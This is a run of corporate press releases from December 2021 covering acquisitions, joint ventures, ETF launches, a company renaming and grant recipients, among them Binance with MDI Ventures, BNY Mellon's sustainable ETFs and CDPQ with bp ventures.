regarding the anticipated benefits, capabilities, and expectations of our new Crop Accelerator facility, our 2021 harvest of proprietary soybean varieties, and our newly acquired Indiana-based soy crushing facility. Factors that may cause actual results to differ materially from current expectations include, but are not limited to, risks associated with the performance of the Company's proprietary soybean varieties and our ability to validate the same, risks associated with farmer commitments for acreage, our ability to grow and manage growth profitably, our ability to execute our business plans, our transition to becoming a public company, and other risks and uncertainties set forth in the sections entitled "Risk Factors" and "Cautionary Note Regarding Forward-Looking Statements" in our filings with the Securities and Exchange Commission ("SEC"), which are available on the SEC's website at www.sec.gov. We expressly disclaim any duty to update these forward-looking statements, except as otherwise required by law. Contacts Investors: Ruben Mella: (314) 714-6313 / [email protected] Media: Melanie Bernds: (314) 605-6363 / [email protected] Media Kit SOURCE Benson Hill "Burke has established itself as a category leader in premium, single-brand commercial play equipment," said Kevin Yamashita, Partner at Bertram Capital. "The Company's successes reflect their innovative product offering and best-in-class customer support, as well as their targeted go-to-market strategy in the U.S. and internationally. We recognized a strong cultural fit during the sale process and are honored to partner with Mike Phelan and the Burke team in their next chapter." Burke is a fast-ascending brand in the commercial play and recreation solutions market with a broad product offering that challenges everyone to get outside and provides critical infrastructure to communities. The Company has a strong channel, with representative firms around the world that promote Burke's brand and align with its mission. More than 100 years as an industry leader, positions Burke well for growth in its core product categories. Partnering with Bertram to leverage the firm's established buy and build value creation strategy, Burke will also focus on further growth via add-on acquisitions, geographic expansion, and new product introductions. "The Burke team is thrilled to have the opportunity to partner with Bertram Capital and accelerate our momentum in the outdoor recreation market," said Mike Phelan, Chief Executive Officer. "The Bertram team differentiated themselves in the sale process through their clear understanding of our business model and go-to-market strategy, shared vision for Burke's future, and their Bertram Labs resource. We look forward to working with Bertram as we continue to deliver on our mission of bringing play to communities around the world." Bertram would like to recognize the investment banking team at BlackArch Partners for their efforts in closing this transaction and making this partnership possible. About BCI Burke Burke is a leading provider of commercial play and outdoor recreation solutions for public parks, educational institutions, early childcare centers, and commercial developments. The Company specializes in play systems and provides a wide array of other playground and recreation necessities, including outdoor musical instruments, safety surfacing, outdoor fitness products, and site amenities. Burke's advanced modular play systems can be configured and customized in a myriad of ways with colors, designs and different levels of challenge. The Company's products are not only for physical movement; they ignite cognitive, social, emotional, and imaginative skill development in children of all abilities. With locations in the United States and United Kingdom, Burke is well positioned to deliver on its mission to bring play to communities around the world. They seek to help children develop, strengthen families and communities, and keep people of all ages moving outside together. For more information, please visit www.bciburke.com . About Bertram Capital Bertram Capital is a private equity firm targeting investments in lower middle market companies. Since its inception in 2006, the firm has raised over $2.2B of capital commitments. In addition to supplying strategic growth capital, Bertram Capital leverages proprietary processes and services, Bertram High-5sm and Bertram Labs, to empower its portfolio companies to unlock their full business potential. The Bertram High-5sm is an operationally-focused value creation strategy, which includes management augmentation, operational initiative implementation, complementary business acquisition, sales and marketing improvements, and leveraging technology and IP. The cornerstone of this strategy is Bertram Labs, its in-house technology team, which drives growth and value through digital marketing, e-commerce, big data and analytics, application development, and internal and external platform optimization. Visit www.bcap.com for more information. SOURCE Bertram Capital JAKARTA, Indonesia, Dec. 14, 2021 /PRNewswire/ -- Binance , the world's leading blockchain and cryptocurrency infrastructure provider has established a joint venture with a consortium led by MDI Ventures (MDI) to expand the blockchain ecosystem in Indonesia with the development of a new Indonesian-based digital asset exchange. MDI is a US$830+ million multi-stage venture capital arm of Indonesia's largest telecoms company, Telkom Indonesia. Binance will provide world-class asset management infrastructure and technology to support the development of the new exchange platform. The consortium has collectively developed the biggest digital and financial technology ecosystems in Indonesia, and have access to more than 170 million consumers in the world's fourth most populous country. Changpeng "CZ" Zhao, Founder and CEO of Binance , said: "Our ambition at Binance is to grow the blockchain and cryptocurrency ecosystem globally, and this initiative in Indonesia is a significant step in that direction. With fast technology adoption and strong economic potential, Indonesia could become one of the leading centers of the blockchain and crypto ecosystem in Southeast Asia. We are thrilled to name MDI as our latest partner in the region. With their depth of experience in the market, we are confident that we will deliver leading products for users locally." Donald Wihardja, CEO of MDI, said: "Cryptocurrencies, crypto assets, and the underlying technology, blockchain, present an undeniably important part of the financial and other digital infrastructures in the future. MDI, as Telkom's technology investment arm and technology scout, are very excited to participate in this journey. We look forward to growing with Binance and our investment partners, and bridging the opportunities and technologies to Telkom to help upgrade Indonesia's capabilities in this digital infrastructure." The joint venture is part of Binance's broader strategy to grow the global blockchain ecosystem. The news follows the recent announcements on Binance's 100M EUR initiative to support the development of the French and European blockchain ecosystem, as well as Binance Asia Services' investment in Singapore-based Hg Exchange (HGX) . About Binance Binance is the world's leading blockchain and cryptocurrency infrastructure provider with a financial product suite that includes the largest digital asset exchange by volume. Trusted by millions worldwide, the Binance platform is dedicated to increasing the freedom of money for users and features an unmatched portfolio of crypto products and offerings, including trading and finance, education, data and research, social good, investment and incubation, decentralization and infrastructure solutions, and more. For more information, visit: https://www.binance.com About MDI MDI Ventures is a US$830+ million multi-stage venture capital arm of Indonesia's largest telecoms company. It is the largest tech investment firm in the nation and has one of the best-performing funds in Asia. The firm's global portfolio spans a variety of sectors, including healthcare, logistics, fintech, deep IT, consumer tech, and more. The firm's parent company PT Telekomunikasi Indonesia Tbk (Telkom Group) is a state-owned enterprise of the Republic of Indonesia. It is listed on the Indonesia Stock Exchange (IDX: TLKM) and has a secondary listing on the New York Stock Exchange (NYSE: TLK). SOURCE Binance COLUMBUS, Ohio, Dec. 15, 2021 /PRNewswire/ -- Bio Detection K9 (BDK9), a Priority One Canine Company (P1K9) and the global leader in canine COVID-19 detection, along with Green Stripe Naturals (GSN), one of the first movers in the global medical cannabis industry in Jamaica, is proud to announce their new joint venture, Cannabis Bio Detection K9 (CBDK9). Cannabis mold infestations The detection of mold is very human labor intensive, inefficient and unreliable, and due to overwhelming mold infestations in cannabis crops, hundreds of millions of dollars are lost each year. Cannabis Bio Detection K9 will be the first company ever to combat these infestations using early detection tactics through their proprietary canine testing and technology. This new venture will use dogs combined with drone technology and real time intelligence to help save the cannabis industry millions of dollars annually in lost crops at a global level. "I'm thrilled to partner with Wayne and Green Stripe Naturals," stated Wade Morrell, CEO of Bio Detection K9. "Wayne is constantly thinking outside the box. His drive to not only take GSN to new markets but to also keep an open mind in the research and development of the detection of mold in cannabis is second to none. This partnership is going to change the way the cannabis industry protects their product from mold and other diseases and mitigates substantial yearly losses." Jamaica is subject to many potential hazardous microclimate elements, like excessive heat and moisture, tropical storms, excessive rains and drastically varying day and night temperatures, all which could result in mold development and propagation. The Green Stripe Naturals facility in Jamaica is an ideal testing ground to prove the efficacy of the program and continue to develop more advanced versions of the technology as more mold propagation elements are identified. Cannabis Bio Detection K9 will utilize Bio Detection K9's training and technology while GSN tests the efficacy of the technology at its licensed medical cannabis facility. Green Stripe Naturals has the advantage of year-round cultivation thanks to its indoor and outdoor growing environments. This strategic location, along with the ability to continuously train the canines without seasonal interruptions, will prove most beneficial to the worldwide cannabis industry, and will ensure these highly trained canines can be always available for service. "We have assembled a team of highly skilled cultivators, processors, scientists and agriculturists who are all familiar with and have had extensive experience working in Jamaica with various Jamaican cannabis strains," explained Wayne Isaacs, CEO of Green Stripe Naturals. "The idea of protecting this investment is paramount and creating Cannabis Bio Detection K9 is the best way to do just that." There are numerous climatic factors that could cause the sudden growth of mold. However, since the dogs will be residing at the GSN cultivation facility on a full-time basis, CBDK9 will be able to deploy them at any time to ensure they can detect the very early stages of mold development. This will also allow any farm to enact their mold mitigation / treatment protocols and save entire fields of crops. CBDK9 plans to begin training in Jamaica by early 2022 and testing will commence as soon as the dogs arrive. From there, the team will develop testing and identification protocols to ensure the dogs can and will identify the presence of mold on a cannabis plant. This will be integrated with a smart technology solution that will localize and isolate infected plants and generate real time intelligence so operators can immediately treat these plants and minimize potential crop losses due to the manifestation of mold. The technology in 2022 will be on site for the customer commercially and available from any internet-based platform. Once trained, CBDK9 plans to deploy the canines around the world, saving crops internationally. About Bio Detection K9 Bio Detection K9 has been at the forefront of biologic canine screening for over a decade, with ten years of USDA contract past performance in plant-based pathogen detection working alongside leading scientific institutes to develop the latest technology in canine services for the COVID-19 pandemic, medical applications, and beyond. Bio Detection Canines provide an efficient, and non-invasive solution, ensuring the most cost-effective, proficient answer on the market today. For more information, please visit www.bdk9.com. About Green Stripe Naturals Ltd. Green Stripe Naturals (GSN) was formed to take advantage of the tremendous worldwide opportunities in medicinal cannabis and has focused its efforts in developing premium cannabis cultivation, processing, R&D, transportation and dispensary assets in Jamaica, a country internationally renowned for its superior native cannabis. GSN is one of the first companies in Jamaica to obtain licensing through its subsidiary a Tier 3 Cultivators License, the highest level of cultivation licensing available. About Priority One Canine Priority One Canine (P1K9) was founded by Wade and Lori Morrell in 2010, combining state of the art technology with elite protection canines to offer a unique integrated security solution for discriminating clients. Based in Columbus, Ohio, P1K9 currently provides specialized dogs and services in the United States and around the world. www.priority1canine.com Media Contact : Alyson Brodsky Matrix Partners 312-648-9972 x133 [email protected] SOURCE Bio Detection K9 NEW YORK, Dec. 15, 2021 /PRNewswire/ -- BNY Mellon Investment Management today announced the launch of three actively managed sustainable exchange-traded funds (ETFs): the BNY Mellon Sustainable US Equity ETF (BKUS), BNY Mellon Sustainable International Equity ETF (BKIS) and BNY Mellon Sustainable Global Emerging Markets ETF (BKES). All three ETFs are sub-advised by Newton Investment Management Limited, a BNY Mellon investment firm and a leading equity and multi-asset manager with a long track record of sustainable and responsible investing experience. The ETFs were listed today, December 15, 2021, on the New York Stock Exchange (NYSE). Today's launch marks the continued expansion of BNY Mellon's active ETF product range, which commenced trading on five actively managed ETFs this year, including the BNY Mellon Concentrated International ETF (BKCI) launched earlier this month, and the BNY Mellon Ultra Short Income ETF (BKUI) which launched in August. Each of the ETFs in this new suite are designed to deliver a range of solutions to investors seeking long-term growth potential, with options for exposure to U.S. domestic portfolios as well as international and emerging markets. The fully transparent, active ETFs also build upon Newton's responsible investment heritage, seeking the following long-term capital appreciation opportunities. BNY Mellon Sustainable US Equity ETF (BKUS): The fund typically invests at least 80% of its net assets in equity securities of U.S. companies that demonstrate attractive investment attributes and sustainable business practices. [2] Charles French and Yuko Takano are the fund's primary portfolio managers. The fund typically invests at least 80% of its net assets in equity securities of U.S. companies that demonstrate attractive investment attributes and sustainable business practices. and are the fund's primary portfolio managers. BNY Mellon Sustainable International Equity ETF (BKIS): The fund typically invests at least 80% of its net assets in equity securities of foreign companies that demonstrate attractive investment attributes and sustainable business practices. Paul Markham and Yuko Takano are the fund's primary portfolio managers. The fund typically invests at least 80% of its net assets in equity securities of foreign companies that demonstrate attractive investment attributes and sustainable business practices. and are the fund's primary portfolio managers. BNY Mellon Sustainable Global Emerging Markets ETF (BKES): The fund typically invests at least 80% of its net assets in equity securities of companies listed on exchanges in, organized in, or with their principal place of business in, or have a majority of assets or business in, emerging market countries and that demonstrate attractive investment attributes and sustainable business practices. Paul Birchenough and Ian Smith are the fund's primary portfolio managers. "As investors and advisors continue to seek out innovative ways to invest for long term growth while also driving meaningful change across a variety of ESG-related initiatives, the demand for fully transparent, actively managed investment strategies has grown, specifically within ETFs and sustainable solutions," commented Andy Provencher, Head of North America Distribution, BNY Mellon Investment Management. "Always focusing on client-orientated outcomes, the launch of this new suite of ETFs demonstrates our commitment to responding to client demand for sustainable solutions and leveraging the specialist capabilities of our investment firms." "Newton has deep expertise across the sustainable investing space and believes that active management plays a critical role in effectively identifying and measuring sustainable investments over time," commented Curt Custard, Interim Head of Sustainable Investment and Global Head of Client Investment Solutions, Newton. "As such, we are delighted to add BNY Mellon Sustainable US Equity ETF, BNY Mellon Sustainable International Equity ETF and BNY Mellon Sustainable Global Emerging Markets ETF to our range of active product offerings, which will offer clients access to an investment area that we as a firm are well versed in and continue to prioritize." The company uses a global thematic investment process, and it has a long track record in developing responsible investing and ESG solutions. Newton Investment Management Ltd has been proxy voting since the 1970s and employed responsible investment analysts since the 1990s - long before it became mainstream to do so. It has been a signatory of the UN Principles of Responsible Investment since 2007 and joined the Net Zero Asset Managers initiative in March 2021, demonstrating its commitment to working with clients to help fulfill net-zero ambitions and to navigate portfolios through complex energy transitions.[3] Newton currently manages $5.2 billion globally in sustainable investments across equity, fixed income, equity opportunities, equity income, multi asset and real return strategies.[4] To learn more about BNY Mellon's ETF range, including the prospectus documents, please visit www.im.bnymellon.com/etf. BNY Mellon Investment Management is one of the world's largest asset managers, with $2.3 trillion in assets under management as of Sept. 30, 2021. Through an investor-first approach, BNY Mellon Investment Management brings to clients the best of both worlds: specialist expertise from eight investment firms offering solutions across every major asset class, backed by the strength, stability, and global presence of BNY Mellon. Additional information on BNY Mellon Investment Management is available on www.im.bnymellon.com. BNY Mellon Investment Management is a division of BNY Mellon, which has $45.3 trillion in assets under custody and/or administration as of Sept. 30, 2021. BNY Mellon can act as a single point of contact for clients looking to create, trade, hold, manage, service, distribute or restructure investments. BNY Mellon is the corporate brand of The Bank of New York Mellon Corporation (NYSE: BK). Additional information is available on www.bnymellon.com. Follow us on Twitter @BNYMellon or visit our newsroom at www.bnymellon.com/newsroom for the latest company news. Newton Investment Management The Newton Investment Management Group is used to collectively describe a group of affiliated companies that provide investment advisory services under the brand name 'Newton' or 'Newton Investment Management'. Investment advisory services are provided in the United Kingdom by Newton Investment Management Ltd and in the United States by Newton Investment Management North America LLC. Both firms are indirect subsidiaries of The Bank of New York Mellon Corporation ("BNY Mellon"). With assets under management of $145 billion as of Sept. 30, 2021, Newton provides discretionary and non-discretionary investment advice to institutional clients, including U.S. and global pension funds, sovereign wealth funds, central banks, endowments, foundations, insurance companies, registered mutual funds, other pooled investment vehicles and other institutions. Its office locations include London, Boston, New York and San Francisco. News and other information about Newton is available at www.newtonim.com and via Twitter: @NewtonIM. Investors interested in the fund should consider the investment objective, risks, charges, and expenses of the fund carefully before investing. To obtain a prospectus that contains this and other information about the fund, investors should contact their financial representatives or visit im.bnymellon.com. Read the prospectus carefully before investing. ETF shares are listed on an exchange, and shares are generally purchased and sold in the secondary market at market price. At times, the market price may be at a premium or discount to the ETFs per share NAV. In addition, ETFs are subject to the risk that an active trading market for an ETF's shares may not develop or be maintained. Buying or selling ETF shares on an exchange may require the payment of brokerage commissions. ETFs trade like stocks, are subject to investment risk, including possible loss of principal. The risks of investing in ETFs typically reflect the risks associated with the types of instruments in which the ETF invests. Diversification cannot assure a profit or protect against loss. The ETF will issue (or redeem) fund shares to certain institutional investors known as "Authorized Participants" (typically market makers or other broker-dealers) only in large blocks of fund shares known as "Creation Units." BNY Mellon Securities Corporation ("BNYMSC"), a subsidiary of BNY Mellon, serves as a distributor of the fund. BNYMSC does not distribute fund shares in less than Creation Units, nor does it maintain a secondary market in fund shares. BNYMSC may enter into selected agreements with Authorized Participants for the sale of Creation Units of fund shares. Equities are subject to market, market sector, market liquidity, issuer, and investment style risks to varying degrees. Small and midsized company stocks tend to be more volatile and less liquid than larger company stocks as these companies are less established and have more volatile earnings histories. Investing in foreign-denominated and/or domiciled securities involves special risks, including changes in currency exchange rates, political, economic, and social instability, limited company information, differing auditing, and legal standards, and less market liquidity. These risks generally are greater with emerging market countries. The fund's incorporation of ESG considerations into its investment approach may cause it to make different investments than funds that invest principally in equity securities of companies that do not incorporate ESG considerations when selecting investments. Under certain economic conditions, this could cause the fund to underperform funds that do not incorporate ESG considerations. For example, the incorporation of ESG considerations may result in the fund forgoing opportunities to buy certain securities when it might otherwise be advantageous to do so or selling securities when it might otherwise be disadvantageous for the fund to do so. The incorporation of ESG considerations may also affect the fund's exposure to certain sectors and/or types of investments, and may adversely impact the fund's performance depending on whether such sectors or investments are in or out of favor in the market. Unless otherwise specified herein, all information is sourced by BNY Mellon as of December 3, 2021. This press release is qualified for issuance in the United States and is for informational purposes only. It does not constitute an offer or solicitation of securities or investment services or an endorsement thereof in any jurisdiction or in any circumstance in which such offer or solicitation is unlawful or not authorized. This material does not take into account the particular investment objectives, restrictions, or financial, legal, or tax situation of any specific investor. Investors should consult a legal, tax, or financial professional in order to determine whether an investment product or service is appropriate for a particular situation. Not FDIC-Insured | No Bank Guarantee | May Lose Value 2021 BNY Mellon Securities Corporation, distributor, 240 Greenwich St., New York, NY 10286. [1] The Newton Investment Management Group is used to collectively describe a group of affiliated companies that provide investment advisory services under the brand name 'Newton' or 'Newton Investment Management'. Investment advisory services are provided in the United Kingdom by Newton Investment Management Ltd and in the United States by Newton Investment Management North America LLC. Both firms are indirect subsidiaries of The Bank of New York Mellon Corporation ("BNY Mellon") [2] The fund's sub-adviser, Newton Investment Management Limited (Newton), an affiliate of the Adviser, considers a company to be engaged in "sustainable business practices" if the company engages in such practices in an economic sense (i.e., the company's strategy, operations and finances are stable and durable), and takes appropriate measures to manage any material consequences or impact of its policies and operations in relation to environmental, social and governance (ESG) matters (e.g., the company's environmental 7 footprint, labor standards, board structure, etc.). Companies engaged in sustainable business practices also may include companies that have committed explicitly to improving their environmental and/or social impacts that will lead to a transformation of their business models. [3] The Net Zero Asset Managers initiative is an international group of asset managers committed to supporting the goal of net zero greenhouse gas emissions by 2050 or sooner, in line with global efforts to limit warming to 1.5 degrees Celsius; and to supporting investing aligned with net zero emissions by 2050 or sooner. [4] As of 30 September 2021. This AUM figure includes some strategies and products not available to U.S. investors. For Press: Jessica Rutledge BNY Mellon Investment Management +1(917)683-6820 [email protected] SOURCE BNY Mellon Investment Management HONG KONG, Dec. 14, 2021 /PRNewswire/ -- RTFKT, an innovative brand that utilises next generation technology, including blockchain authentication, NFT, gaming engines and augmented reality to create unique sneakers and digital artefacts, is being acquired by NIKE. Earlier this year, C Ventures, a leading venture capital company co-founded by Adrian Cheng, significantly backed RTFKT in a seed funding round, which totalled $8 million. C Ventures was one of the top three investors and the largest in Asia. The new capital helped RTFKT to broaden its team of creators and artists, develop new NFT collections (most recently the CloneX avatar project) and grow its overall talent pool. Cheng has a strong track record of supporting and incubating start-up companies, through both his C Ventures company and personal investment portfolio, which spans technology, healthcare and consumer sectors. "I'm proud to see RTFKT's long-term potential recognised with this acquisition," said Adrian Cheng. "Early on, I saw something very special in RTFKT and we share the same vision of using technology as a way to transform how we approach creativity and innovation. My commitment to developing the metaverse is strong and I am excited to continue on this journey with RTFKT." C Ventures' investment in RTFKT is strategically aligned with the venture capital company's focus on disruptive businesses in technology, lifestyle and media and its core mission to curate a global ecosystem targeting Millennials and Generation Z. The investment in RTFKT earlier this year followed C Ventures' participation in a $100 million funding round for Singapore-based company Matrixport, one of Asia's fastest growing digital asset financial services platforms, in August 2021. Cheng, a well-known strategic investor, also recently made a personal investment in The Sandbox, in which he will develop his land to showcase a range of successful Greater Bay Area (GBA) start-ups that he has supported and funded. C Ventures is a leading venture capital company founded by Adrian Cheng bridging West and East, curating a global ecosystem targeting Millennials and Generation Z, with a focus on disruptive businesses in technology and consumer. Its dedicated and expert team have access to the most highly sought-after deals through collective network of top global entrepreneurs, family and thought leaders. Other recent investments by C Ventures, include RTFKT Studios, well known for its NFT sneakers; FITURE, a leading household fitness equipment which offers customized fitness programs based on real-time data; and Lalamove, China's No.1 on-demand and same-day delivery platform. Citigate Dewe Rogerson issued this press release on behalf of Adrian Cheng. For more information on C Ventures, please visit www.c-venturesfund.com. SOURCE Citigate Dewe Rogerson LOS ANGELES, Dec. 15, 2021 /PRNewswire/ -- For nearly fifty years, Cacique has brought its fresh, high-quality products to tables across the country while consistently operating under the values of Family, Quality, Integrity and Authenticity. Today, as one of America's top authentic Hispanic food brands, the company proudly introduces a new business name Cacique Foods LLC. As the brand ushers in the next era of expansion across a variety of food categories and eating occasions, this refreshed name reflects both its growth and continued commitment to the core values it was founded upon. The new name continues the momentum behind the brand as it meets the growing demand for its market leading products, expands its portfolio, distinguishes itself within the marketplace and strives to offer consumers from coast to coast all the ingredients they need to enjoy an authentic Hispanic meal or snack, no matter the time of day. "It is with great pride that we announce Cacique Foods LLC, a name change that reflects how far this company has come since its humble beginnings of my father selling Queso Fresco door to door in Downtown Los Angeles," said Gil de Cardenas, CEO, Cacique Foods LLC. "It's been a privilege to watch my family's company grow into a leading portfolio of products that families nationwide invite to their tables every day, and we look forward to always remaining true to the freshness and quality our consumers expect as we live into our new name." The name change follows the recent groundbreaking of a new $88 million dairy processing facility in Amarillo, Texas. Once operation begins in the fall of 2022, the 200,000 square-foot facility will help Cacique Foods LLC expand production capacity, increase R&D to drive product innovation and continue to sustainably enhance its national presence as part of the company's long-term growth strategy. Though the company's products will maintain the same branding consumers know and love, beginning today, Cacique Foods LLC can now be found online at www.CaciqueFoods.com, and will operate as @CaciqueFoods on Instagram and Cacique Foods on Facebook. For more information about its line of authentic products, visit the company's website or social channels. About Cacique Foods LLC Family-owned and founded in 1973 on the principles of Family, Quality, Integrity and Authenticity, Cacique Foods LLC is now one of the country's top Hispanic food brands - the #1 producer of Hispanic cheeses, creams, yogurts, chorizos and salsas in the United States. Headquartered in Monrovia, California, Cacique Foods LLC remains dedicated to producing authentic, fresh and high-quality Hispanic products. For more information about Cacique Foods LLC's line of products, please visit www.CaciqueFoods.com or call (800) 521-6987. SOURCE Cacique Foods LLC The Sojourns Scholar Leadership Program is designed to identify, cultivate and advance the next generation of palliative care leaders. As part of the leadership program, each Sojourns Scholar receives $180,000 in funding ($90,000/year over two years) to conduct an innovative and impactful clinical, policy, educational, health equity or systems change project in the field of palliative care. Scholars also participate with other scholars in a collaborative learning community while receiving individual mentorship to design and implement a plan that supports completion of their project as well as their growth and development as national palliative care leaders. "The ongoing pandemic has made us acutely aware of the importance of interdisciplinary palliative care teams, not only in terms of providing whole person care for people with serious illness, but also in addressing health disparities and fostering workplace resilience," said Peggy Maguire, president and board chair, Cambia Health Foundation. "By supporting the development of this elite group of palliative care professionals, we are transforming the experience of people with serious illness and building a more inclusive and sustainable health care system." Since the program's inception in 2014, the Foundation's purposeful investment in palliative care leadership has awarded more than $15 million to 84 scholars around the country. Scholars represent different areas of the palliative care team including physicians, nurses, chaplains, pharmacists and social workers, but all are committed to improving the experience of people facing serious illness and their caregivers. "We are inspired by the emerging leaders across all disciplines in palliative care, and our aim is to continue to broaden the diversity of this program so that every person in the United States who could benefit from palliative care has the ability to access the services," Maguire said. Listed below are the 2021 Sojourns Scholar Leadership Program Grant Recipients: Becca Hutchinson, MD, MPH MaineHealth Becky Cammy, LCSW Sidney Kimmel Cancer Center Jefferson Health Billy Rosa, PhD, MBE, NP, FAANP, FAAN Memorial Sloan Kettering Cancer Center David Wang, MD Scripps Health Jung Kwak, PhD, MSW The University of Texas at Austin Khaliah Johnson, MD Emory University School of Medicine, Department of Pediatrics Elizabeth Dzeng, MD, PhD, MPH, MPhil, MS University of California, San Francisco Michelle Milic, MD Medstar Georgetown University Hospital Natalie McAndrew, PhD, RN, ACNS-BC, CCRN-K University of Wisconsin-Milwaukee Tracy Fasolino, PhD, APRN, FNP-BC, ACHPN Clemson University To learn more about the individual scholars, please visit the Sojourns Scholar Leadership Program page on the Cambia Health Foundation website. 2022 Sojourns Scholar Leadership Program Call for Applications The Foundation has opened the 2022 Sojourns Scholar Leadership Program Call for Applications . Interested individuals must submit a Letter of Intent by March 7, 2022. After review, a select group of applicants will be invited to submit full grant applications by March 31, 2022. More information, including details about eligibility, is available on the Foundation website on the Sojourns Scholar Leadership Program page. About Cambia Health Foundation Cambia Health Foundation is the corporate foundation of Cambia Health Solutions. Founded in 2007, the foundation has funded more than $80 million in grants to advance person-focused and economically sustainable health care. We support whole-person health at every stage of life to build a just and inclusive health care system for all. Learn more at cambiahealthfoundation.org and follow us on Twitter: @CambiaHealthFdn . SOURCE Cambia Health Foundation NEW YORK, Dec. 15, 2021 /PRNewswire/ -- Catalyst Power Holdings LLC ("Catalyst Power"), an integrated provider of cleaner energy solutions for the commercial and industrial sector, acquired AP Gas & Electric (NY) LLC ("AP G&E NY"), the New York State specific former subsidiary of Houston, Texas-based retail energy provider ("REP") AP Holdings LLC. AP G&E NY supplies cost-effective electricity to a wide array of middle-market commercial and industrial customers throughout New York. AP G&E NY's offerings previously included fixed and index-priced electricity supply contracts and now have been augmented by Catalyst Power's natural gas, community solar, and Connected Microgrid solar project offerings. This acquisition extends Catalyst Power's footprint to the entirety of New York State, allowing it to expand on its mission of helping its commercial and industrial customers to decarbonize their electricity consumption. "This is a tremendous fit. We're excited to be able to expand the mix of commercial and industrial customers that can now have access to Catalyst Power's decarbonizing solutions," said Gabriel Phillips, CEO of Catalyst Power Holdings. "The middle market has been underserved for too long by combining AP G&E NY's territories, customers and channel partner relationships with our novel energy supply options including community solar products and proprietary Connected Microgrid solutions, we are expanding access for our customers to more environmentally friendly, cost-effective energy supply options." Catalyst Power announced a commitment from BP Energy Partners ("BPEP"), a Dallas, Texas-based private equity fund, and Catalyst Power management, in July of 2020 and the acquisition of US Energy Partners (Buffalo, NY based retail energy provider) in February of 2021. "The acquisition of APG&E NY is yet another example of Catalyst Power finding ways to accelerate the adoption of clean, distributed energy resources," says Cole Robertson, Managing Director of BPEP. Catalyst Power continues to pursue additional strategic REP acquisition opportunities. About Catalyst Power Holdings LLC: Catalyst Power Holdings LLC is an independent, integrated provider of cleaner energy solutions for the commercial and industrial sector through commercial energy, customized Connected Microgrid solutions, and community solar to underserved middle-market commercial and industrial end-use customers, improving the overall efficiency and environmental impact of their supply. Catalyst Power is a portfolio company of BP Energy Partners, LLC. More info: www.catalystpower.com About BP Energy Partners, LLC: BP Energy Partners, LLC (BPEP) is a Dallas, Texas-based growth-oriented private equity firm. Since its inception, BPEP has focused on a lower carbon future by establishing and growing sustainable and responsible companies in the natural gas value chain including, infrastructure, power, logistics, transportation, environmental services, renewable natural gas, midstream, and distribution. BPEP will also invest in low-carbon energy solutions and renewables. BPEP collaborates with entrepreneurs, family-owned businesses, project developers, and experienced management teams to provide patient capital, financial and operating expertise, and deep industry relationships. BPEP currently manages over $560 million in committed capital and is actively investing in new opportunities. More information can be found at www.bpenergypartners.com. SOURCE Catalyst Power CDPQ and bp ventures to co-invest in sustainable energy and share expertise Investment groups to target early-stage and innovative companies Clean energy technology company BTR Energy selected as foundational investment as part of a US$45 million Series A financing round MONTREAL and LONDON, Dec. 15, 2021 /PRNewswire/ - Caisse de depot et placement du Quebec (CDPQ), a global investment group, and bp ventures today announced a new co-investment collaboration targeting ventures in the sustainable energy sector and their first joint investment, in BTR Energy, a cleantech company enabling electric vehicles to interact with electricity markets. As part of this three-year collaboration, CDPQ and bp ventures will share investment opportunities and industry knowledge, with a focus on innovations that can accelerate the energy transition. Examples of areas of interest include mobility electrification, deployment and adoption of renewable energy, batteries, biofuels and more. The first CDPQ-bp ventures co-investment, which included additional co-investors Clean Energy Fuels, Innovatus Capital Partners, and SineWave Ventures, will support BTR Energy in growing its platform to help support the decarbonisation of the transportation sector by using data to enable interactions between electric vehicles and electricity markets. Today, BTR Energy's "Bridge" platform automates participation in low carbon fuels programs, like California's Low Carbon Fuel Standard, by connecting leading EV manufacturers, fleet operators, and charging station networks to renewable electricity generators. BTR Energy will use the proceeds from the investment to scale its existing operations and expand into new markets, including emerging clean fuels markets in Canada, the United Kingdom and Europe. "Now more than ever, investors are directing capital toward innovations that will allow us to fight and adapt to climate change. CDPQ is delighted to collaborate with a world-class player such as bp ventures to invest in energy technologies and companies that are accelerating the transition toward a low-carbon economy," said Genevieve Bouthillier, Managing Director, Private Mid-Market Companies and Stewardship Investing at CDPQ. "Our co-investment in BTR Energy is a good example of what we aim to do with bp ventures: invest in promising companies that have demonstrated their capability to have a concrete impact, in order to propel their growth." Nacho Gimenez, Managing partner at bp ventures, said, "BTR Energy is exactly the type of game-changing business we look to invest in at bp ventures. They identified a value chain that could increase the clean electricity used in EV charging, developed an innovative solution to make it work and successfully deployed it. We welcome BTR Energy to our portfolio and look forward to working with the team, exploring ways to expand the company outside of its Californian base. It's also our first investment with CDPQ, and an exciting first step for a collaboration that through shared knowledge and opportunities will help us continue to accelerate innovation across the entire energy spectrum." "Our partnership with bp ventures and CDPQ will enable us to strengthen our core capabilities, expand into new low-carbon fuels markets in North America and Europe, and launch new, proprietary products designed to further reduce emissions by directly engaging EV drivers. Nearly a dozen EV manufacturers participate in programs like California's Low Carbon Fuel Standard through the BTR Energy platform because we have a unique, expert understanding of the regulations and requirements, and because we provide a single, automated point of access to multiple programs," said Jack Barrow, Chief Executive Officer, BTR Energy. "With this investment, we will continue to outperform in these markets while also committing resources to support new electrification initiatives led by our clients." This collaboration with bp ventures is part of CDPQ's Innovation in Stewardship Investing (ISI) platform, created in 2020 to seize opportunities related to the transition toward a low-carbon economy and to develop expertise in areas related to the sustainable economy. The ISI platform already comprises partnerships with S2G Ventures and Energize Ventures and is aligned with CDPQ's new climate strategy and commitment to achieving a 60% reduction in the carbon intensity of the total portfolio by 2030. ABOUT CDPQ At Caisse de depot et placement du Quebec (CDPQ), we invest constructively to generate sustainable returns over the long term. As a global investment group managing funds for public retirement and insurance plans, we work alongside our partners to build enterprises that drive performance and progress. We are active in the major financial markets, private equity, infrastructure, real estate and private debt. As at June 30, 2021 CDPQ's net assets total CAD 390 billion. For more information, visit cdpq.com, follow us on Twitter or consult our Facebook or LinkedIn pages. ABOUT BP VENTURES bp ventures was set up more than 10 years ago to identify and invest in private, high growth, game-changing technology companies, accelerating innovation across the entire energy spectrum. Since then, bp has invested over $800 million in technology companies across more than 40 active investments with more than 250 co-investors. bp ventures focuses on connecting and growing new energy business. It makes strategic equity investments across a portfolio of relevant technology businesses including advanced mobility, low carbon and digital. ABOUT BTR ENERGY Bridge to Renewables, Inc. (dba "BTR Energy") is building the software infrastructure that enables electric vehicles to interact with electricity markets. The Company provides an industry-leading platform that empowers electric vehicle manufacturers, fleet operators, charging station networks, and renewable electricity generators to work together to reduce emissions and to participate in low carbon transportation fuel programs, like California's Low Carbon Fuel Standard. Through these new and innovative partnerships, BTR Energy supports its clients in electrifying and decarbonizing the transportation sector. For more information, visit: www.btr.energy. 